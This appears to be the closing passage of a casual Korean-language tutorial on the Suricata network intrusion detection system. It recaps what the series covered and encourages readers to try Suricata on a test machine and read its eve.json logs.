와, 정말 긴 여정이었지? 수리카타의 기본 개념부터 설치, 룰 작성, 로그 분석, 그리고 고급 기능까지. 이 글을 끝까지 다 읽었다면, 넌 이제 어지간한 주니어 보안 엔지니어만큼 수리카타에 대해 잘 안다고 자부해도 좋아.

수리카타는 단순히 공짜 툴이 아니야. 오픈소스 커뮤니티의 집단 지성과 최신 기술이 결합된, 매우 강력하고 유연한 네트워크 보안 플랫폼이야. 이걸 어떻게 활용하느냐에 따라 우리 집, 우리 회사의 보안 수준은 하늘과 땅 차이로 달라질 수 있어.

오늘 배운 내용을 바탕으로 작은 테스트 서버나 개인 PC에 수리카타를 직접 설치해보고, `eve.json` 로그를 들여다보는 것부터 시작해봐. 내가 인터넷을 할 때 얼마나 많은 이벤트가 발생하는지, 그 속에서 어떤 위협들이 도사리고 있는지 직접 눈으로 확인하는 경험은 무엇과도 바꿀 수 없는 자산이 될 거야.

물론, 실제 기업 환경에서 수십, 수백 기가급 트래픽을 처리하는 대규모 수리카타 시스템을 구축하고 운영하는 건 또 다른 차원의 전문성이 필요해. 하지만 걱정 마. 기본 원리는 오늘 우리가 배운 것과 똑같으니까. 꾸준히 관심을 갖고 파고들다 보면, 너도 언젠가는 네트워크를 자유자재로 지휘하는 보안 마에스트로가 될 수 있을 거야.

자, 이제 너의 네트워크를 지키러 떠나볼까?